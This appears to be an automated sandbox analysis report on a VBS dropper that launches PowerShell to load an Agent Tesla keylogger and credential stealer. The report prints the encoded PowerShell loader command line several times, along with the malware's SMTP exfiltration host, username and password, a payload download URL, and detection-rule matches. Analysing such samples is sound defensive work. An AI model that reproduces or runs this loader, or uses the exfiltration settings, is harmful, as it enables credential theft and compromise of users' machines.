AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAADAAAALQ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==');[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] (' ??v?}???@+@ ?@@ ??v?}??.so!}( }4}? ?4*?*?#:?*(+ (*(+ (v.4*?*?#:?sr8*??(su4*?*?#:?4}? ?lo_8*??(garo ??v?}??s4*?*?#:?!}( }il*(+ (up4*?*?#:?4}? ?m. ??v?}??n8*??(r8*??(girf8*??(rkroy4*?*?#:?4*?*?#:??? }??+?sp ??v?}?? ??v?}???*(??@*?')) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

RegSvcs.exe (PID: 1236 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe MD5: 2867A3817C9245F7CF518524DFD18F28)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/ https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Host": "mail.hermosanairobi.com", "Username": "security@hermosanairobi.com", "Password": "    mcdsew70@_+lks44          "}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x6979a:$s5: AEAAAAMAAQqVT 0x6970b:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x27ac3:$s5: AEAAAAMAAQqVT 0x27a34:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x1270:$s5: AEAAAAMAAQqVT 0x11e1:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.822490552.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x14a2b:$s5: AEAAAAMAAQqVT 0x1499c:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0x36afb:$s5: AEAAAAMAAQqVT 0x36a6c:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
Process Memory Space: powershell.exe PID: 6008	SUSP_Reversed_Base64_Encoded_EXE	Detects an base64 encoded executable with reversed characters	Florian Roth (Nextron Systems)	0xa8f37:$s5: AEAAAAMAAQqVT 0xe8e68:$s5: AEAAAAMAAQqVT 0x14437a:$s5: AEAAAAMAAQqVT 0x1ef23c:$s5: AEAAAAMAAQqVT 0x225f95:$s5: AEAAAAMAAQqVT 0xa8ea8:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0xe8dd9:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x1442eb:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x1ef1ad:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV 0x225f06:$sh3: uUGZv1GIT9ERg4Wag4WdyBSZiBCdv5mbhNGItFmcn9mcwBycphGV
Process Memory Space: RegSvcs.exe PID: 1236	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegSvcs.exe PID: 1236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.powershell.exe.28b32159f18.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_4464.amsi.csv	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth (Nextron Systems)	0xda:$s1: .CreateObject("WScript.Shell") 0x10c:$p1: powershell.exe

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 192.81.170.3

Timestamp:	192.168.2.5192.81.170.349696262851779 03/20/23-11:39:22.276555
SID:	2851779
Source Port:	49696
Destination Port:	26
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: GJ890-1286.vbs

ReversingLabs: Detection: 12%

Source: 3.2.RegSvcs.exe.400000.0.unpack

Avira: Label: TR/Spy.Gen8

Source: 3.2.RegSvcs.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.hermosanairobi.com", "Username": "security@hermosanairobi.com", "Password": " mcdsew70@_+lks44 "}

Source: unknown

HTTPS traffic detected: 195.178.106.125:443 -> 192.168.2.5:49695 version: TLS 1.0

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49696 -> 192.81.170.3:26

Yara detected Generic Downloader

Source: Yara match

File source: 1.2.powershell.exe.28b32159f18.0.raw.unpack, type: UNPACKEDPE

Source: Joe Sandbox View

ASN Name: AS-UPTIMECA AS-UPTIMECA

Source: Joe Sandbox View

JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad

Source: global traffic

HTTP traffic detected: GET /public/storage_old/users/.vbb/dcos.txt HTTP/1.1Host: yorkrefrigerent.mdConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 192.81.170.3 192.81.170.3
Source: Joe Sandbox View	IP Address: 195.178.106.125 195.178.106.125

Source: unknown

HTTPS traffic detected: 195.178.106.125:443 -> 192.168.2.5:49695 version: TLS 1.0

Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695

Source: powershell.exe, 00000001.00000002.319201526.0000028B4A443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://hermosanairobi.com
Source: RegSvcs.exe, 00000003.00000002.822490552.0000000002BF9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.hermosanairobi.com
Source: powershell.exe, 00000001.00000002.311807350.0000028B31EE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.311807350.0000028B3233C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://yorkrefrigerent.md
Source: powershell.exe, 00000001.00000002.311807350.0000028B32329000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.md
Source: powershell.exe, 00000001.00000003.310430015.0000028B4A5B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.311807350.0000028B320F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.md/public/storage_old/users/.vbb/dcos.txt
Source: powershell.exe, 00000001.00000002.311807350.0000028B32336000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yorkrefrigerent.mdx

Source: unknown

DNS traffic detected: queries for: yorkrefrigerent.md

Source: global traffic

HTTP traffic detected: GET /public/storage_old/users/.vbb/dcos.txt HTTP/1.1Host: yorkrefrigerent.mdConnection: Keep-Alive

System Summary

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('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
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQZzJgAACnoRBSD4AAAA1hMOHwk4W/7//wQRBRzWKCkAAAoX2hMRHwo4Rv7//xYTEh8LODz+//84nwAAAAQRDh8M1ignAAAKExMfDDgj/v//BBEOHxDWKCcAAAoTFB8NOA/+//8EEQ4fFNYoJwAAChMVHw44+/3//xEULEsRFBfaF9aNGwAAARMWHw844/3//wQRFREWFhEWjmkoKgAACh8QOM39//8RBHsJAAAEEQ0RE9YRFhEWjmkSASgWAAAGLQZzJgAACnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCsAAAoTDx8SOH/9//8RBHsJAAAEEQge1hEPGhIBKBYAAAYtBnMmAAAKegQRBR8o1ignAAAKExAfEzhO/f//EQwsBBEGEw0RBx8sEQ0RENaeHxQ4Nf3//ygoAAAKGjMWEQR7CgAABBEHKBMAAAYtHHMmAAAKehEEewoAAAQRBygUAAAGLQZzJgAACnoRBHsKAAAEKBkAAAYVMwZzJgAACnreSCgsAAAKFisBFkUDAAAAAgAAABQAAAAkAAAAKyoRBHsLAAAEhCgtAAAKExcXK9sRFywHERdvLgAAChYKGCvLKC8AAAoZK8PeAhcKBioAAABBHAAAAAAAAFsAAABeAwAAuQMAAEgAAAAYAAABHgIoEgAACiobMAQA7QAAAAMAABFzMAAACiUoMQAACm8yAAAKAigzAAAKKDQAAApypQAAcHKxAABwbzUAAApytQAAcHLDAABwbzUAAApyxwAAcHLTAABwbzUAAApy1wAAcHLjAABwbzUAAApy5wAAcHL5AABwbzUAAApy/QAAcHIPAQBwbzUAAApyEwEAcHIlAQBwbzUAAApyK			Jump to behavior

Very long command line found

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16166
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 16166			Jump to behavior

Source: amsi64_4464.amsi.csv, type: OTHER	Matched rule: WScript_Shell_PowerShell_Combo date = 2018-02-07, author = Florian Roth (Nextron Systems), description = Detects malware from Middle Eastern campaign reported by Talos, score = 15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b, reference = http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE
Source: sslproxydump.pcap, type: PCAP	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.317073094.0000028B41F4C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.311807350.0000028B3235B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.311807350.0000028B3235F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: 00000001.00000002.317073094.0000028B41FAD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research
Source: Process Memory Space: powershell.exe PID: 6008, type: MEMORYSTR	Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, author = Florian Roth (Nextron Systems), description = Detects an base64 encoded executable with reversed characters, score = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, reference = Internal Research

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 1_2_00007FF9A5A720C9	1_2_00007FF9A5A720C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4A9D8	3_2_00F4A9D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4C998	3_2_00F4C998
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F49DC0	3_2_00F49DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_00F4A108	3_2_00F4A108

Source: GJ890-1286.vbs

Initial sample: Strings found which are bigger than 50

Source: GJ890-1286.vbs

ReversingLabs: Detection: 12%

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\GJ890-1286.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDALAZ+mMAAAAAAAAAAOAAAiELAVAAACYAAAAGAAAAAAAAskQAAAAgAAAAYAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACgAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGBEAABPAAAAAGAAACgDAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuCQAAAAgAAAAJgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAACgDAAAAYAAAAAQAAAAoAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAIAAAAACAAAALAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACURAAAAAAAAEgAAAACAAUAxCgAAOQaAAADAAAAAAAAAKhDAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4CKAEAAAoqHgIoAwAACiqmcwQAAAqAAQAABHMFAAAKgAIAAARzBgAACoADAAAEcwcAAAqABAAABCoufgEAAARvCAAACioufgIAAARvCQAACioufgMAAARvCgAACioufgQAAARvCwAACirWfgUAAAQUKBoAAAosAisGfgUAAAQqcgEAAHDQBQAAAigPAAAKbxsAAApzHAAACoAFAAAEK9oafgYAAAQqHgKABgAABCpWcwwAAAYoHQAACnQGAAACgAcAAAQqHgIoHgAACioafgcAAAQqGigNAAAGKh4CKBIAAAoqABMwBABAAAAAAQAAEXIhAABwCxYrARZFAgAAAAIAAAAYAAAAKx8XDAd+IAAACgIXKBsAAAYsBxcKFyvbKw0IF9YMGCvSCBsx3xYKBiobMAoABQQAAAIAABFylQAAcAIoIQAACgwWKwEWRQMAAAACAAAADQAAABgAAAArIRID/hUPAAACFyviEgT+FQ4AAAIYK9cSAxZ9GAAABBkrzBID0A8AAAIoDwAACigiAAAKuH0NAAAEAygjAAAKLQ0IcqEAAHADKCQAAAoMAgh+JQAACn4lAAAKFhp+JQAAChQSAxIEKBAAAAYtBnMmAAAKegQfPCgnAAAKEwUWKwEWRRQAAAAFAAAAFQAAACQAAAAzAAAAdAAAAMAAAADTAAAA8gAAAAIBAABQAQAAZQEAAG8BAACIAQAAnAEAALABAADIAQAA3gEAAA0CAAAsAgAAXQIAADhxAgAABBEFHzTWKCcAAAoTBhcrliCzAAAAjQkAAAETBxgrhxEHFiACAAEAnhk4eP///ygoAAAKGjMWEQR7CgAABBEHKBEAAAYtHHMmAAAKehEEewoAAAQRBygSAAAGLQZzJgAACnoRBx8plBMIGjg3////EQR7CQAABBEIHtYSCRoSASgVAAAGLQZzJgAACnoRBhEJMxYRBHsJAAAEEQkoFwAABiwGcyYAAAp6BBEFH1DWKCcAAAoTChs46/7//wQRBR9U1ignAAAKEwscONj+//8RBHsJAAAEEQYRCiAAMAAAH0AoGAAABhMNHTi5/v//BS0lEQ0tIRcTDB44qf7//xEEewkAAAQWEQogADAAAB9AKBgAAAYTDRENLQZzJgAACnoRBHsJAAAEEQ0EEQsSASgWAAAGLQ